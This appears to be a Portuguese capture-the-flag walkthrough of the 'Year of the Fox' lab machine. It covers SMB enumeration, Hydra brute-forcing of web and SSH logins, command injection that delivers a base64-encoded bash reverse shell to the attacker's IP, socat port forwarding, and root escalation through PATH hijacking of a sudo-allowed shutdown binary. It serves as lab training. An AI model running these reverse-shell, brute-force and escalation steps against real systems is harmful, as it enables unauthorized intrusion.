walkthrough yearofthefox
*Nivel HARD
Vou começar enumerando os serviços no host com o Nmap.
Usando o smbclient, existe um compartilhamento chamado yotf, porem precisamos da senha.
us3r ~ smbclient -L //10.10.18.229 Password for [WORKGROUP\us3r]:
Sharename Type Comment
--------- ---- -------
yotf Disk Fox's Stuff -- keep out!
IPC$ IPC IPC Service (year-of-the-fox server (Samba, Ubuntu))
Vou usar o enum4linux para listar os usuários disponíveis. Encontramos 2 usuários válidos: fox e rascal.
Se no serviço da web não revelar senhas, precisaremos usar brute force
sou imediatamente bloqueado, pois todo o caminho é protegido por senha usando uma autenticação básica.
Vou tentar forçar a autenticação com hydra usando rascal como usuário
[80][http-get] host: 10.10.18.229 login: rascal password: miroku 1 of 1 target successfully completed, 1 valid password found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-07-19 22:52:19 us3r ~ ^C
e encontrei o password
Agora que logou, podemos entrar no site. É um search engine que pesquisa arquivos de texto.
A interceptação com o BurpSuite mostra que a solicitação é enviada para um arquivo search.php e a entrada do usuário é passada em uma string tipo JSON.
Vou usar o repeater do BurpSuite para reenviar solicitações
tentar injetar um shell reverso em bash
echo -n "bash -i >& /dev/tcp/10.6.90.2/4444 0>&1" | base64
a requisição com o shell reverso codificado em base64
Tenho o shell reverso com netcat e garatimos a primeira flag
Busquei por configurações SSH [sshd_config] pra verificar se existe serviço escutando em localhost, confirmado pelo arquivo de configuração sshd_config, que informa que só o usuário Fox pode se conectar
Posso usar o socat para abrir outra porta (por exemplo, 2222) e redirecionar para a porta 22 no localhost. Como o socat não está disponível no alvo, vou baixá-lo da minha máquina:
consegui a conexão SSH na porta 2222. Hora de um novo ataque brute force
Temos a senha e vou fazer a conexão via ssh -p 2222
e temos a SEGUNDA FLAG
verifiquei os priviçegios do fox com sudo -l e mostra que podemos executar o shutdown como root sem senha. Ao realizar eng reversa mostra que o executável de desligamento provavelmente foi escrito pelo autor do desafio. ele depende da função de desligamento
void main() { system("poweroff"); return; }
Vamos explorar a vulnerabilidade encontrada fazendo uma cópia do bash que chamaremos em vez de desligar: cp /bin/bash poweroff sudo "PATH=/tmp:$PATH" /usr/sbin/shutdown
Foi escalado pra user ROOT!!! a flag não estava disponivel no diretorio principal, mas sim oculta dentro do home/rascal. ai está a TERCEIRA FLAG!